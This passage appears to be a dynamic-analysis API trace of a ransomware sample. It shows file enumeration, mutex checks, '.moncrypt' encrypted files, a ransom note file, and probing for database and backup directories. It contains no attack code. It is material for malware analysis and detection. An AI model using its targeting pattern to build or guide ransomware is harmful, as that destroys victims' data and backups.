lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.354] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41926c40, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x41926c40, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x41926c40, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0054.354] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.354] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.354] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.354] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.354] GlobalUnlock (hMem=0x440004) returned 0 [0054.354] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.354] GlobalLock (hMem=0x44000c) returned 0x557b88 [0054.354] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.354] GlobalUnlock (hMem=0x440004) returned 0 [0054.354] GlobalHandle (pMem=0x557b88) returned 0x44000c [0054.354] GlobalUnlock (hMem=0x44000c) returned 0 [0054.354] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.355] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x68b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0054.355] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.355] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.355] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.355] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.355] GlobalUnlock (hMem=0x44000c) returned 0 [0054.355] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.355] GlobalLock (hMem=0x440004) returned 0x557b88 [0054.355] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.355] GlobalUnlock (hMem=0x44000c) returned 0 [0054.355] GlobalHandle (pMem=0x557b88) returned 0x440004 [0054.355] GlobalUnlock (hMem=0x440004) returned 0 [0054.355] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.355] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e493a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2e493a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xc0b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUDIO.ELM.moncrypt", cAlternateFileName="STUDIO~1.MON")) returned 1 [0054.355] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.355] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.355] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.355] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.355] GlobalUnlock (hMem=0x440004) returned 0 [0054.355] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.355] GlobalLock (hMem=0x44000c) returned 0x557b88 [0054.355] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.355] GlobalUnlock (hMem=0x440004) returned 0 [0054.355] GlobalHandle (pMem=0x557b88) returned 0x44000c [0054.355] GlobalUnlock (hMem=0x44000c) returned 0 [0054.355] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.355] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUDIO.INF", cAlternateFileName="")) returned 1 [0054.355] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.355] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.356] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.356] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.356] GlobalUnlock (hMem=0x44000c) returned 0 [0054.356] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.356] GlobalLock (hMem=0x440004) returned 0x557b88 [0054.356] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.356] GlobalUnlock (hMem=0x44000c) returned 0 [0054.356] GlobalHandle (pMem=0x557b88) returned 0x440004 [0054.356] GlobalUnlock (hMem=0x440004) returned 0 [0054.356] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.356] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4891, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 1 [0054.356] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.356] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.356] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.356] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.356] GlobalUnlock (hMem=0x440004) returned 0 [0054.356] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.356] GlobalLock (hMem=0x44000c) returned 0x557b88 [0054.356] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.356] GlobalUnlock (hMem=0x440004) returned 0 [0054.356] GlobalHandle (pMem=0x557b88) returned 0x44000c [0054.356] GlobalUnlock (hMem=0x44000c) returned 0 [0054.356] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.356] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4891, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 0 [0054.356] GetLastError () returned 0x12 [0054.356] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0054.357] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMIPNTG", cAlternateFileName="")) returned 1 [0054.357] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0054.357] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0054.357] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.357] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.357] GlobalUnlock (hMem=0x44000c) returned 0 [0054.357] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.357] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.357] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.357] GlobalUnlock (hMem=0x44000c) returned 0 [0054.357] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.357] GlobalUnlock (hMem=0x440004) returned 0 [0054.357] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.357] GlobalLock (hMem=0x440004) returned 0x550170 [0054.357] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.357] GlobalUnlock (hMem=0x440004) returned 0 [0054.357] GlobalLock (hMem=0x440004) returned 0x550170 [0054.357] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.358] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.358] GlobalUnlock (hMem=0x440004) returned 0 [0054.358] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.358] GlobalUnlock (hMem=0x44000c) returned 0 [0054.358] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.358] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG", len=0x40 | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG") returned 1 [0054.358] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.358] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.358] GlobalUnlock (hMem=0x44000c) returned 0 [0054.358] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.358] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.358] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.358] GlobalUnlock (hMem=0x44000c) returned 0 [0054.358] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.358] GlobalUnlock (hMem=0x440004) returned 0 [0054.358] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a648, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@QQ企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0054.359] GetLastError () returned 0x3 [0054.359] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\") returned 0x41 [0054.359] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0054.359] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0054.359] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a648, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@Q企@\x18㿬Q\x181")) returned 0xffffffff [0054.360] GetLastError () returned 0x2 [0054.360] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\") returned 0x41 [0054.360] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0054.360] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0054.360] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a648, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@삌R企@\x18?T\x18;")) returned 0xffffffff [0054.360] GetLastError () returned 0x2 [0054.360] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\") returned 0x41 [0054.360] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a5f0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0054.361] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0054.361] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a648, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@塤U企@\x18?T\x18D")) returned 0xffffffff [0054.361] GetLastError () returned 0x2 [0054.361] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\") returned 0x41 [0054.361] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a5f0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0054.361] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0054.361] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a648, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@Q企@\x18삌R\x18j")) returned 0xffffffff [0054.362] GetLastError () returned 0x2 [0054.362] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\") returned 0x41 [0054.362] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0054.362] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0054.362] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a648, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@塤U企@\x18?T\x18q")) returned 0xffffffff [0054.362] GetLastError () returned 0x2 [0054.362] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\") returned 0x41 [0054.362] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a5f0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\삈RP") returned 6 [0054.362] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0054.363] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a648, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@뾴R企@\x18?T\x18y")) returned 0xffffffff [0054.363] GetLastError () returned 0x2 [0054.363] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\") returned 0x41 [0054.363] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a5f0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0054.363] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0054.363] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a648, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@Q企@\x18?T\x18\x81")) returned 0xffffffff [0054.363] GetLastError () returned 0x2 [0054.363] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\") returned 0x41 [0054.363] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a5f0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0054.364] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0054.364] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a648, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@塤U企@\x18?T\x18\x88")) returned 0xffffffff [0054.364] GetLastError () returned 0x2 [0054.364] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\") returned 0x41 [0054.364] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a5f0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0054.364] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0054.364] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a648, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@뾴R企@\x18?T\x18\x8f")) returned 0xffffffff [0054.364] GetLastError () returned 0x2 [0054.365] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\") returned 0x41 [0054.365] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a5f0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0054.365] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0054.365] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a648, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@Q企@\x18?T\x18\x97")) returned 0xffffffff [0054.365] GetLastError () returned 0x2 [0054.365] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common 